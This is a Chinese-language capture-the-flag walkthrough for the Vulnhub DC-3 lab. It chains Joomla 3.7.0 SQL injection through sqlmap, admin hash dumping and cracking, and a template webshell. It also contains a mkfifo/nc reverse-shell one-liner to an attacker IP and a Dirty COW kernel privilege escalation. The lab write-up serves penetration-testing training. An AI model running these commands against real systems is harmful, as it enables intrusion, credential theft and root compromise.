Vulnhub靶机
Vulnhub靶机下载:/
官网地址:https://download.vulnhub.com/dc/DC-3-2.zip
Vulnhub靶机安装:
下载好了把安装包解压 然后使用VMware 打开即可。
DC-3:只有一个最终的flag,只有拿到root权限才可以发现最终的flag。
环境准备
攻击机:kali
靶机:DC-3
同一网卡
DC-3 靶机渗透
信息收集
kali里使用netdiscover发现主机(快一点)
netdiscover -i eth0 -r 192.168.0.0/24
当然也可以用 nmap探测整个虚拟机网段存活主机,发现靶机ip:
nmap -sP -PI -PT 192.168.0.1/24
使用 nmap 探测开放端口及服务
nmap -sCV 192.168.0.134 -p-
只开放了一个 80 端口,浏览器访问一下
进去发现是一个登录界面,且为 joomla 内容管理系统
主页提示:
漏洞发现
这里先尝试利用joomscan 工具扫描获取详细信息以及版本号
git clone https://github.com/rezasp/joomscan.git
cd joomscan
perl joomscan.pl
perl joomscan.pl -u http://192.168.0.134/
发现其版本为 3.7.0,管理员后台地址为http://192.168.0.134/administrator/
kali 漏洞库搜索Joomla 3.7.0 看看是否有相关漏洞可以利用
发现 3.7 版本存在 sql 注入漏洞,查看 exp
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
漏洞利用
这里直接上 sqlmap 了,那就来爆一下数据库
sqlmap -u "http://192.168.0.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --batch --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
查询最近使用数据库
sqlmap -u "http://192.168.0.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --batch --risk=3 --level=5 --random-agent --current-db -p list[fullordering]
爆 joonladb 数据库表
sqlmap -u "http://192.168.0.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --batch --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering] #列出表
发现一个 users 表,继续查询#__users表字段结构
sqlmap -u "http://192.168.0.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
注入查询#__users表的name、password字段值
sqlmap -u "http://192.168.0.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]
admin|$2y 10 10 10DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
将密文保存为 1.txt,用 hashid 识别 hash 算法为bcrypt
直接利用hashcat暴力破解密码为snoopy
或者使用 john 来爆破
admin|snoopy
Getshell
利用账号密码进入管理员后台
这里 getshell 方式就有很多种了,直接采用模板写入一句话木马
接下来需要知道其网站模板路径,谷歌搜索为/templates/beez3/,访问 webshell 文件,蚁剑连接
http://192.168.0.134/templates/beez3/shell.php
发现只是普通网站权限,为了方便后续提权,将 shell 反弹至 kali 上(这里就很多方法了)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.10 4444 >/tmp/f
再利用 python 稳定 shell
which python
python -c 'import pty;pty.spawn("/bin/bash")'
提权(CVE-2016-5195)
先搜索了下 suid 命令,尝试 suid 提权,需要输入密码,为成功
那就直接利用 liunx 提权工具https://github.com/The-Z-Labs/linux-exploit-suggester,搜索下内核提权,通过蚁剑将文件下载至网站目录
发现可能存在的提权漏洞还是很多的,并给出了 exp 地址,这里就尝试可能性最高的
这里利用脏牛 CVE-2016-5195
下载 exp:https://www.exploit-db.com/download/40847
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
chmod +x dcow
./dcow -s
获取 flag
靶场总结
- joomscan 漏洞扫描工具使用
- CVE-2017-8917 SQL 注入漏洞
- john、hashcat 暴力破解
- 后台 getshell 方式
- linux 内核提权——CVE-2016-5195 脏牛漏洞